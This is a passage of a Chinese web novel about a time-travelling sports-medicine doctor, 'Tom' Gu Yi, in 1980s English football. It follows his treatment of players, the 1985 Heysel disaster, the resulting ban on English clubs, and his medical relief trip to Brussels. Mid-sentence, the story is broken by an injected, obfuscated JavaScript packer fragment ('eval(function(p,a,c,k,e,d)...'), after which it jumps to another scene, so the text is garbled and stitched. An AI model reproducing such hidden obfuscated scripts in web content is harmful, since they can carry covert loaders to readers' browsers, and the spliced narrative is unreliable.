所以现在顾沂他甚至可以不用看就能直接给出霍德尔解决方案了：但在现实里事情肯定不能这么干，所以顾沂也早就模拟好了一套能教给学生的，标准的检查流程。 检查过程很快，只用了半个小时，但顾沂将学生带到另外一个房间用来讲解花了两个多小时，这让霍德尔有些坐立难安：不是，为什么要等这么长时间？他本人还有的救吗？ “问题不大，可以治。”顾沂先说出结论，再简单讲了一下霍德尔的问题，“背屈不足，内翻恐惧导致的本体感觉下降。” 至于具体的治疗方案，顾沂现场给出了五个互有关联的方案。 踝关节活动度训练、肌肉力量训练、平衡与本体感觉训练。这三个治疗方案分别有三名学生盯着，是平时日常要做的训练，而剩下的两个治疗方案就需要顾沂在现场演示一下了。 顾沂给了霍尔德一个表面有轻微凸起的橡胶空心球，让霍尔德将球踩在脚下，从前到后缓慢滚动，放松他的足底筋膜。接着，再让霍德尔用脚踝内侧和外侧轻柔地按压球，激活深层肌肉。 随后半蹲下来，让霍德尔坐在椅子上，脚踝自然下垂后，顾沂一手握住霍德尔的脚跟，另一只手握住前脚掌，在不引起疼痛的前提下，沿着踝关节的生理活动方向，进行轻柔、有节奏的牵拉和滑动。 就这一套流程，顾沂昨晚在实验室里已经训练了好几遍了。可以说现在现实跟系统中没什么区别，唯一的区别大概是——系统中的“假”格伦·霍德尔的脚没有味道，但真实的格伦·霍德尔的脚，嗯…… 算了，他是医生，一会儿消毒。 “咔哒”一声轻响后，霍德尔立刻感觉脚踝“松了”，他抬起头，一脸惊愕地看着顾沂。 “好了。”顾沂站了起来，“你现在试试之前做的内翻动作。” 霍德尔迫不及待地做了一次，随即惊呼出声：“不疼了！真的不疼了！” “汤姆！我……啊啊啊啊！”霍德尔尖叫着就要扑向顾沂，顾沂连忙后退几步去洗手消毒了。 这个事情暂时没有引起什么人关注，但是，在热刺新一轮的比赛中，这位被认为已经快要报废的老将却直接闪耀热刺，整个英格兰瞬间沸腾了！ 不是？什么情况！汤姆你不是只会预防吗？但你现在这不是也会治已经伤病了的球员吗？ 《汤姆的魔法，热刺核心重获新生！》 顾沂并没有把外界的事情放在心上，因为就在今年6月份，顾沂正式获得了曼彻斯特大学“亚历山大·弗莱明”青年研究奖。 时间来到九月份，顾沂的名声越传越响，就连凯文·基冈，是的，就是那个之前汤姆很喜欢的，连续两年获得欧洲金球奖，所有英格兰人的偶像凯文·基冈，来到了曼彻斯特大学医学院的运动医学研究室。 顾沂立刻意识到，这是一个机会！ 十天后，当凯文·基冈再次出现在众人面前时，他已经暂时摆脱了背伤对他的困扰，至于彻底摆脱——那就需要很长一段时间的后续治疗了。 “汤姆，他有一双神奇的眼睛和双手。”凯文·基冈接受了记者的采访，“我想，我现在还可以再踢几年足球。” 作为英格兰人的偶像，凯文·基冈的影响力无疑是巨大的，几乎是一夜之间，顾沂的名字在整个英格兰无人不知、无人不晓。 等顾沂在10月获得英国生理学会“J.B.沃尔特斯奖”后，他整个人更忙了，上电视台向大众科普运动医学，飞到世界各地参加医学会议阐述自己的理念并拿出了大量成功的案例来证明运动医学的前景是多么的广阔。 快到新的一年时，第四阶段的训练进度卡在89%，顾沂在曼联爆肝一段时间终于赶在时间截止前完成了所有的训练。 系统也兑现承诺为顾沂奉上了大奖：贝克汉姆的亲笔签名。 顾沂：…… 有的时候真的很难不怀疑这系统是故意的。贝克汉姆的亲笔签名？哈！他记得贝克汉姆也是曼联的吧？ 顾沂很快将这件事抛之脑后，因为他又开始忙了起来！世界各地到处飞，参加各种各种学术会议，好不容易回到英国国内不是埋头写论文，就是在电视台上进行科普。 翻过了年，1985年4月，顾沂拿到了英国运动医学学会“年度青年学者奖”。 国外暂且不说，但在国内——他已经站到了一个青年学者所能站到的最高点。 听苏珊娜阿姨说，现在医学院不少教授都提议让他在今年成为教授，但还是有人反对，业内对于将顾沂这个现在年仅22岁的年轻人提为教授，还是很不爽滴。 是，他是开创了运动医学有点本事，但他还年轻啊，他还需要历练！不要这么早给年轻人加太重的担子你晓得吧？ 顾沂：我晓***！ 顾沂有点生气，但这也没办法，毕竟古今中外吧，这……啧，不可说。 医学的事情暂时放在一边，顾沂给自己放了个假暂时休息一下，比如去曼联再看看队友，哦，不对，现在他已经不是曼联球员了，他是首席运动科学官。 这个赛季，曼联的球员伤病显著减少，球队战绩也比上个赛季好上许多，拿到了联赛季军，唯一遗憾的就是没能在欧冠上拿到太好的成绩：人利物浦球员很顶，虽然在英甲联赛上输给埃弗顿只拿到了亚军，但是却直接闯进了欧洲冠军杯决赛，跟对手尤文图斯一决高下。 顾沂上辈子虽然偶尔看球，但那已经是很多年之后，他刚开始看球的时候，英甲就已经改名了英超。 所以，在看到比利时布鲁塞尔海瑟尔发生的惨案后，他整个人都是懵的：不是？这……怎么会这样？ 事情发生后，整个英格兰瞬间陷入了慌乱，所有俱乐部惶惶不可终日等待属于他们最终的审判。 6月2日，欧足联宣布了最终处罚：无限期禁止所有英格兰俱乐部参加欧洲赛事。 英格兰足球，完蛋了！ 7. 第 7 章 6月3号早上，顾沂接到了助理教练埃里克·哈里森的电话，对方原本一向元气满满的声音现在听起来格外疲惫。 “汤姆，如果可以的话，你能来一趟俱乐部吗？” “好。” 顾沂没有拒绝，他驱车赶到了曼联俱乐部。车开得很慢，因为路上有人在游行。 等到了曼联俱乐部后，顾沂发现原本很热闹的俱乐部今天格外冷清，埃里克·哈里森就站在外面等他，见他过来立即迎了上来。 “汤姆先生，”埃里克·哈里森故意垂下眼眸没有去看顾沂脸上的表情，“主教练他，嗯……情绪不是很好。更衣室里的球员现在也……嗯，你知道的，这件事情实在是太突然了，我们所有人都没有防备。而且这明明不是我们曼联的错，但最终造成的结果却是要我们曼联……” “哈里森先生，”顾沂打断了埃里克·哈里森的话，“别说了。” 埃里克·哈里森张了张嘴巴，默默叹了口气，“那，我们先去教练办公室？” 顾沂点了下头，“好。” 顾沂上次见到阿特金森还是在曼联举办的庆功宴上：是的没错，虽然在1984~1985赛季曼联只拿到了联赛第三的成绩，但也是值得庆祝的，因为他们上个赛季的成绩是联赛第四。 在庆功宴上的阿特金森意气奋发，端着酒杯向所有人阐述他下个赛季的执教目标：英甲联赛第一，欧洲冠军杯四强！ 但现在，当顾沂推开门走进房间后，只看到了一双格外猩红的眼睛和一张格外疲惫的脸。 见顾沂推开门走进来后，阿特金森勉强扬起一抹笑容，“你来了啊。” “汤姆，你还挺聪明的，知道足球就**的是个烂摊子！这很好！特别好！” “汤姆，幸好你只踢了一场比赛，现在没人说你是什么球员，你是个教授，医学教授！前途光明，以后，以后就不要再来曼联了……” 后面的话听不清楚了，因为阿特金森倒在了桌子上，嘴里嘀嘀咕咕含含糊糊的不知道在说什么，手里还紧紧捏着一张报纸。 顾沂转头看向埃里克·哈里森，“他这是喝了多少？” “从昨天看到欧足联宣布处罚后就一直喝到现在吧。”埃里克·哈里森轻轻叹了口气，“球员们也是昨天就来到了俱乐部，倒是没喝酒，就是一直在吵架，也没回去，现在还在更衣室那边。” “在吵什么？” 顾沂一边询问埃里克·哈里森，一边走到阿特金森跟前从他手中抽出了那份报纸，一眼就看到了上面的新闻标题：“英国足球正式进入黑暗时代”。 低头一看，桌上放着的报纸标题是“英国足球何去何从？” “不清楚。”埃里克·哈里森站在后面低下头，“我昨天也喝了点酒，所以不知道他们现在在吵什么。” “行。”顾沂点头，“那你看着点他，我先去更衣室那边看看。” “好。”埃里克·哈里森应了下来，抬眸看着顾沂的背影一点点远去，终于在顾沂走到门口的时候叫住了他，“汤姆先生！” 顾沂停下脚步，回头，“怎么了？” “你，你以后还会踢球吗？” 清晨的第一缕阳光撒了下来，落在顾沂的肩膀上，原本金色的头发在阳光的轻抚下看上去更加的耀眼。 “当然，”顾沂扬起了一抹笑容，“这是我的爱好，一辈子的。” 顾沂离开了这间办公室，仿佛带走了最后一丝香气。 曼联更衣室 还没有进去呢，顾沂只站在外面就听到了他们那激烈的争吵声。 顾沂推开门走了进去，所有人瞬间安静下来转过头看向顾沂，沉默了一秒后转过头又继续吵了起来。 顾沂也不着急，自己找了个地方坐下来十分安静地听着。随后发现他们在吵的内容无非就那几样：该死的，英国足球要完蛋了！利物浦的球迷到底是个什么勾八，他们为什么要做出那么危险的事情！以及——我们以后要怎么办？在英甲不能踢欧洲比赛了，我们的未来在哪里？下个赛季转播费和门票钱断崖式下跌，俱乐部还能按时拿出我们的薪资吗？ “我要转会！”史文朋.哈里斯突然大吼一声，“我要转到其他欧洲球队，随便什么球队都好，反正比待在曼联好！” “哈里斯！”罗布森十分愤怒地看向史文朋.哈里斯，“你在说什么狗屁话！去年！你受伤了，要不是汤姆，你**的早就退役了！现在哪里轮得到你说这种话？！” “汤姆汤姆汤姆！”史文朋.哈里斯十分暴躁地抓了一把头发，站起来用手指指着顾沂，“你总把汤姆挂在嘴边，但你看他在乎吗？他完全不在乎！” “人家汤姆高高在上，是医学教授，是上等人！他只是拿足球当他研究的踏板！他随时可以抽身走开！你以为他帮你是真的帮你，他就是为了多一个研究案例！罗布森你个***！” 罗布森被气的浑身颤抖，他一把揪住史文朋.哈里斯的衣领抬起胳膊就要制裁对方，但他的手才抬起来就被顾沂一把抓住了。 “汤姆？”罗布森皱眉，随后立即赶人，“这件事跟你没关系，你不用……” 顾沂将罗布森拉到了自己身后，垂眸看向面前脸红脖子粗的史文朋.哈里斯，“冷静一下，我们可以聊聊。” “聊什么！”史文朋.哈里斯好像是被这句话给激怒了，直接抬起胳膊用手指戳了一下顾沂的胸口，“你又不是球员，你轻轻松松……” 顾沂皱了一下眉头，上前一步一把抓住史文朋.哈里斯，将人提起来摁在墙上，史文朋.哈里斯立马安静了下来。 “冷静下来了吗？” 史文朋.哈里斯慌乱地点头，身体不停颤抖着。 顾沂松手，史文朋.哈里斯直接滑了下来坐在了地上，更衣室里鸦雀无声。 “如果是担心以后没有足够的薪水养活自己，可以找我借钱。” “如果单纯的不想没办法再踢欧战了，可以现在去找埃里克·哈里森先生，登记，转会。” “那么告诉我，”顾沂低下头看向史文朋.哈里斯，表情严肃，“你想选哪个？” 史文朋.哈里斯有些紧张地吞咽了一下口水，“你，汤姆……” “不用管我，你就说你想选什么？我可以帮你，你不用在这里对着队友发脾气。” 史文朋.哈里斯眼睛一闭，忍不住直接吼了出来，“但这不是我的错！为什么你要这么对我！” 顾沂：？ 他刚刚有说他错了吗？ 好吧……他勉强能理解，因为确实起因是跟他无关的一件事情，他太愤怒了嘛…… 但你要骂的话不应该骂那些闹事的球迷？骂欧足联当时选的球场不好吗？就算实在不行了，你骂利物浦也行。但怎么能将矛头对准队友，对准他呢？ 好人就应该拿枪指着？遇到这种事情谁不难过愤怒？ 他刚刚是不是不应该拦罗布森那一巴掌的？ 顾沂思考了0.1秒后扭头看向罗布森，后退一步，“要不，你继续？” 罗布森睁大了眼睛，表情略显呆滞，“啊？” 顾沂清了清嗓子，正要再说点什么，更衣室的门被人从外面推开，克赖顿.雪莱看向顾沂，语气焦急，“汤姆，你现在需要回学校。” “怎么了？”顾沂感觉现在这种时候，他还是待在球队比较好。 其实顾沂并不怎么担心这次事件，因为在他的印象里，未来的英超那可是相当辉煌，他估摸着这次事件可能只不过是英国足球进程中的一次小小挫折而已。 “院长，还有苏珊娜教授，她们现在就要见你。” “嗯……”顾沂挠头，“苏珊娜教授和院长都要见我？现在？” “是的。”克赖顿.雪莱迅速扫过更衣室球员，点头，“具体的事情我一会儿在路上跟你说。” “那好。” 顾沂应了下来，跟曼联队员们说了句再见后就跟着克赖顿.雪莱离开了。 他前脚刚走，后脚门刚关上，史文朋.哈里斯就半躺在地上发出了一声嗤笑：“看吧，真遇到事情了，他就是第一个跑的……啊！” 史文朋.哈里斯捂住自己的脸，抬起头一脸愤怒地看着罗布森，“你干什么？” 罗布森慢条斯理地甩了甩自己的手腕，语气平淡，“怎么，你没感受到吗？那要不我再给你一下？” “罗布森！你太过分了！”史文朋.哈里斯怒气冲冲，转头看向队友寻求认同，“你们就这么看着？他就这么……” “哈里斯，”雷·威尔金斯开口打断了罗布森的话，“汤姆不是说了吗？你要是没有钱的话可以找他借，你要是想转会的话直接去找哈里森先生就行了。” 史文朋.哈里斯将期待的目光看向其他人，但发现所有人都刻意移开了目光没有同他对视。 “好好好！”史文朋.哈里斯站起来，冷笑一声，“我看你们的脑子都是被shit给糊住了，一点小恩小惠就收买了你们，真搞笑！我现在就转会！这狗屎一般的曼联我简直一秒钟都待不下去了！” …… …… 这边发生的小纠纷顾沂是不清楚的，因为当他坐上克赖顿.雪莱开来的车，听到他在说什么后，整个人的大脑都已经宕机了。 什么叫做，英格兰政府那边十分赞成让他成为最年轻的医学教授？ 什么又是，破格成为医学教授后，他需要踢比赛，他以后就是英格兰足球的对外形象？ “院长说了，就算没有这个事情，你再熬上几年也能被评为教授。所以你压根不用参与到这件破事里，我们现在直接回学校，学校会直接替你出面拒绝政府。” “他们那群政客想的也太美了，你是医学教授，你的前途本来就一片光明，现在他们想着直接把你扔出去甩锅以为这样就能万事大吉了？这简直太可笑了！” 顾沂抿着嘴唇没有说话，他一路沉默着跟在克赖顿.雪莱身后，见到了苏珊娜阿姨，见到了院长奥丽薇亚。 一个小时后，政府官员来到了曼彻斯特大学，他们没有见到顾沂，而是只见到了奥丽薇亚。 又是一个小时后，奥丽薇亚十分愤怒地推开了办公室的门，深吸一口气，抬头看向顾沂，“他们想跟你谈谈，汤姆，不要答应他们，政府现在就是想丢你出去顶雷！” 顾沂抬头看向奥丽薇亚，“院长，我能问一个问题吗？” “当然可以，”奥丽薇亚点头，“你问吧。” “让我出面成为英国足球的对外形象，是政府对外公关措施的最后一步吗？” “当然了。” “那……”顾沂垂下眼眸，“那些球迷呢？那些因为这次事件受伤的球迷呢？” 奥丽薇亚沉默几秒，“是欧足联和当地比利时负责的。” 顾沂“哦”了一声，奥丽薇亚眨眨眼睛，站在原地又沉默了一会儿后走到门口将门关上，“我们谈谈吧，汤姆。” “我想你一定觉得首相她很蠢，为什么在利物浦和尤文图斯双方球队互相推诿责任，欧足联默不作声的时候自己主动出面背下这口锅。” “你以为这是一次简单的足球事件？是的，最开始是这样的，但是在首相发声的时候，她已经将这起惨案变成了她手中刺向政治对手的武器。” 顾沂抬头看向奥丽薇亚，后者轻轻扯了下嘴角，“你刚刚说什么？对外公关措施？不，汤姆，你误会了。” 1985年，这个时候正处于英格兰撒切尔夫人改革的中期，她致力于重塑一个纪律严明、企业精神旺盛的“新英格兰”形象用以吸引全球投资。 她的理念是推崇个人主义，自由市场，她主张削弱工会力量、削减社会福利。 而利物浦，不是利物浦足球俱乐部，而是利物浦这座港口工业城市：这座城市在改革中深受去工业化的打击，失业率极高，工会力量强大，是工党的铁票仓——是政敌的大本营之一。 导致这起惨案发生的足球流氓是什么？是首相改革理念中，直接反对的“不守纪律、依赖福利、无法无天”的底层文化的体现。 于是，当全世界的镜头都在播放英格兰足球流氓酗酒斗殴导致39人死亡时，她被激怒了，不是因为死了人，而是因为这些足球流氓的行为破坏了她精心打造的国家品牌，玷污了整个英格兰的名誉。 所以，她直接采用最迅速、最严厉的措施来向国内外的人展示他“控制局势”的能力和决心，她一举三得，为什么不干？ 甚至于，政府压根都不需要一个用来掩盖足球面子的人——对政府来说，什么足球面子跟她们有关系吗？ 或者说，这个足球面子没了，这才能显得政府是多么的“英明神武”！ 至于什么英格兰足球没有未来了，进入黑暗时代了——现任执政政府是完全不在乎。 为什么？因为在现任政府这里，足球是“旧英国”的顽疾，是“赔钱货”，是“麻烦制造者”。 最最最重要的是，在80年代，足球是与工人阶级紧密相连的，而现任执政政府代表的利益是中产阶级——要不是因为顾沂他本人也是中产阶级，他本人未来还会是一名医学教授，那首相也不会同意下面的人提出来的，好歹给现在英格兰足球穿件衣服的提议。 所有的目的都已经达到，再找个他们中产阶段的代表粉饰一下，这个最开始由足球引起的但最后已经升级变成政治事件的“海瑟尔惨案”就能十分完美地落下帷幕。 “我今年63，经历过这么18任首相，现在是保守党，指不定过上几年又是工党执政了。” “他们现在轻飘飘地提出一个提议，等他们下台了自然就不认了。但汤姆，你为他们站台，到时候工党上台之后你要怎么办呢？” 奥丽薇亚走到门口，拉开门，“好了，我就说这么多。” “去跟他们谈谈吧，最终选择还是看你自己，只要以后想起这天不要后悔就是了。” “谢谢院长。” “不用谢。”奥丽薇亚伸手拍拍顾沂肩膀，“去吧。” “好。” …… …… 在前去见政府官员的路上，顾沂先去了一趟卫生间，他洗了洗自己的手后就抬头看着镜子里的自己。 这里，果然，是资本社会。 顾沂闭上了眼睛，等他再次睁开眼时，又恢复了以往的平静。 “汤姆先生，这对你来说绝对是一件好事……” 政府的两位工作人员跟念经似的在顾沂的耳边念叨着让他出面代表英国足球形象是一件多么好的事情。 等两人喋喋不休地说完，终于想起要问一下顾沂本人的意见了，顾沂才缓缓开口道：“我可以做。” 不等两人喜笑颜开，顾沂就继续道：“但我有条件。” “……” 两个小时后 唐宁街10号，吉尔伯特和弗格斯，向首相汇报了他们刚刚在顾沂那里遇到的一点小问题。 等全部阐述完毕后，吉尔伯特率先开口便踩了顾沂一脚：“我认为不能同意，汤姆他非常明显地对工人阶级抱有同情态度。” 一旁的弗格斯立即反驳，“我倒是不这么认为，汤姆他这只是太爱足球了而已。” 首相撒切尔并没有听着两人的话，她有自己的判断，“他是什么想法不重要，重要的是他这么做，对我们英格兰有好处吗？对我们政府有好处吗？” 吉尔伯特和弗格斯两人犹豫了一下后轻轻点了下头，“当然。” “那就让他去折腾吧。”撒切尔微微一笑，“不管他成功还是失败，我们政府都不会亏，不是吗？” “你们两个就先跟着他行动吧，调动可以调动的资源。” “是！”吉尔伯特同弗格斯立即应声道：“首相！” 两人离开后，原本正低头处理手头事务的撒切尔突然抬起头笑了一下。 撒切尔之所以在惨案发生后那么干脆地开始处罚利物浦，完全就是处于政治考量。但原本在那里支支吾吾不作为的欧足联在她表态后立即跟上制裁英格兰足球——呵~看在你这也是帮忙在制裁跟我不对付的人和事上，虽然你这么做让我有点不爽，但也能勉强捏着鼻子认下。 不过，当这个时候有一个真正的自己人送上门来，不仅能帮她完美善后并且更进一步地打造英格兰形象，那她为什么不这么做呢？原本的一举三得变成一举四得，我一个人赢了四次！赚大发了！ …… 6月3日下午4:00，利物浦现任主席约翰·史密斯接到来自吉尔伯特的电话。 下午5:00，利物浦现任主教练乔·费根接到了主席的电话，挂断电话后，他立即给那天本人在决赛现场的球员将电话打了过去。 下午6:00，顾沂带着曼彻斯特大学的医疗团队，利物浦主席、教练以及所有球员登上私人飞机前往比利时。 英国电视台BBC全程录像，负责解说、主持的人是詹姆斯·伯克。詹姆斯本来已经在休假了，但听说了这个消息后，犹豫了几秒后便立即申请由他来做这次直播的主持人。 “汤姆，”镜头对准了顾沂，“你为什么会选择这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这真是太可笑了，那些官员，他们以为只要比赛正常进行，就能掩盖刚刚的死亡，但那可是整整39条人命！” 说到最后，肯尼完全泣不成声，转过身抱着菲尔·汤普森哭了起来。 采访几乎进行不下去，因为所有的球员这个时候都有些绷不住了，纷纷抬手抹眼泪。 主持人詹姆斯对着球员们拍了一会儿就将镜头对准了利物浦的主席约翰·史密斯，他的情绪就比较正常了，虽然眼眶也是红的，但是好歹能正常说话。 “像这样的大型事故，责任认定是比较困难的，人道主义救助和最终的赔偿方案下来的时候估计已经是一年甚至是两年后了。那在这之前，那些受伤的球迷和他们的家人该怎么生活？” “虽然比利时政府动用了公共医疗系统对伤员进行了抢救并先行垫付了大部分的紧急医疗费用，但剩下的少部分医疗费呢？” “病人在医院吃喝拉撒都需要钱，他的家人陪护要花的钱从哪里来呢？如果这个时候他的家里有点急事需要用钱，怎么办？” “而这，就是我亲自来到比利时的原因。我会面见所有遇难者家属，尽可能的帮助他们，在最终的责任认定和赔偿下来之前，先让他们度过这个难关。” 说完这段话后，BBC这边就关掉了录像。 詹姆斯一屁股坐到了约翰·史密斯跟前，上下打量他。 约翰·史密斯十分无奈，“别这么看我，难道你觉得我自己说不出这种话？” 詹姆斯晃了晃手指，“不是说不出，而是你根本就想不到。” 约翰·史密斯偏头看向一直坐在一旁沉默的顾沂，詹姆斯顺着他的视线看过去，眼睛顿时瞪大了。 “汤姆，这是你说的？” 顾沂轻轻点了下头。 “那你……” 顾沂开口打断了还想要探究一二的詹姆斯，“你们BBC提前飞到比利时的那些记者带上那几个报社的负责人了吗？” “带上了！”詹姆斯拍拍胸脯，“你放心，都是身手最好，最机灵的人，肯定能拍到的！” “好。” 顾沂说完之后就闭目养神，听着周围的低声啜泣，渐渐陷入了昏睡。坐在他旁边的医疗团队也在抓紧时间补觉，等到了比利时，他们这些医生估计就没有时间休息了。 三个半小时后，晚上9:30，一行人抵达了比利时的布鲁塞尔，直接前往在曼彻斯特的时候就已经联系上的布鲁塞尔大学医院。 作为学术医疗中心，布鲁塞尔大学医院拥有更重要的专科资源，也负责接收需要复杂手术的重伤员，也是最需要他们这个医疗团队的地方。 医院所有人都忙疯了，但听到顾沂他们过来还是派了一个小护士过来接他们，一到地方就立即消杀准备上手术台——BBC王牌主持人詹姆斯在这里完全插不上话，等了一会儿就果断分了几个人在这里拍，自己则直接跑过去跟拍利物浦的球员们。 利物浦一行人首先去的是圣约翰医院，这里是距离海瑟尔体育场最近的大型医院，是接收伤员的第一线承担了最重要的紧急任务，目前也是住下伤员最多的医院。 起初，看到利物浦的球员们过来后，所有人对他们的态度不是漠视就是咒骂，但当他们发现自己越骂，那个利物浦球星肯尼就哭的越厉害还说你们再继续骂骂我，我心里会好受很多后，就……晦气！东西留下，人可以滚了。 球员们一个医院一个医院跑，主席约翰·史密斯和主教练则率先赶到了39名遇难者的家里。 就在昨天，6月2号，欧足联组建了海瑟尔基金会宣布会并正式对他们利物浦和尤文图斯进行了罚款，但在6月3号晚上9:30分，这些遇难者中有很大部分人还没能支付丧葬费，甚至还有一小部分人在失去家里的顶梁柱后很难维持基本的生活水平。 在镜头面前，主席约翰·史密斯承诺，自己一定会尽快将应该支付的罚款交到欧足联。 “在罚款没有被送到你们手上之前，我想让你们知道，我，席约翰·史密斯，会保证你们的基本生活水平，不让你们在这段时间因为钱财的问题为难。” …… …… 6月4日，8:00 BBC播放了一期专题报道：《海瑟尔惨案：一场本可避免的屠杀》 电视画面一开始就是偷拍，哦不，是非正常拍摄，向大众十分清晰地展示了海瑟尔体育场是多么的垃圾：由煤渣砖砌成的隔离墙，陈旧的设施，狭窄的通道。 “在这场比赛开始前，比利时警方曾明确表示海瑟尔体育场无法有效隔离对立球迷，他们的警力也不足以控制潜在冲突——但是！他们的专业意见完全被欧足联负责考察的官员和迫切想要展示国家形象的官僚忽视了！” “甚至在这场比赛开始前，就已经有英格兰和意大利的媒体报道该体育场年久失修并质疑了安全性，但这些报道最后都被欧足联认为是“小题大做。” “明知故犯，就为了节省成本，为了维持布鲁塞尔作为‘欧洲心脏’的体面，忽视了这些安全质疑让总决赛在这里上演！” “甚至于，为了最大化的票务收入，欧足联将利物浦和尤文图斯球迷区相邻的中立区门票大量卖给了当地比利时的尤文球迷，完全无视了安全问题！” “海瑟尔惨案，完全是一起本可以避免的屠杀！” “杀死球迷的，是为了行政便利和商业利益将球迷安全弃之不顾的所有人！” 这段画面和播报结束后，镜头就给到了亲自前往比利时的利物浦主席、教练和球员。其中，肯尼的痛哭场面更是多次出现在镜头中。 接着，BBC开始十倍速播放顾沂和医疗团队一夜不眠不休在布鲁塞尔大学医院进行专业、高效的救治。 视频的最后，是满眼疲惫的顾沂摘下口罩在楼道接受詹姆斯的采访。 “汤姆，听说你现在已经是医学教授，你跟曼联的球员合同也早就到期了，为什么你还会来到这里，来到布鲁塞尔呢？” “我是，”顾沂抬头看向镜头，他的脸上被口罩压出了印子，整个人看上去疲惫不堪，“我是球员。” “足球从小就是我的梦想，我从来没有想过放弃踢球，我当初学医就是为了踢球。” “我很遗憾在惨案发生的时候没能在现场，如果我在，那死的人会不会少一点？” “汤姆，”詹姆斯插话，“这不是你的错。” 顾沂没有说话，他往后退了一步，对着镜头的方向鞠了一躬，良久，才直起了腰。 “汤姆？” 顾沂握紧话筒，声音轻柔，“抱歉，我来迟了。” “希望你们在另一个世界里生活的很好。” …… …… 1985年6月4日，汤姆.阿利斯泰尔.沃森为了英格兰足球弯下了腰，原本无数弯着腰的英格兰球员站直了身体。 他弯下了腰，扛起了所有责任。 英格兰足球的黑暗时代，才刚开始，就出现了一丝曙光。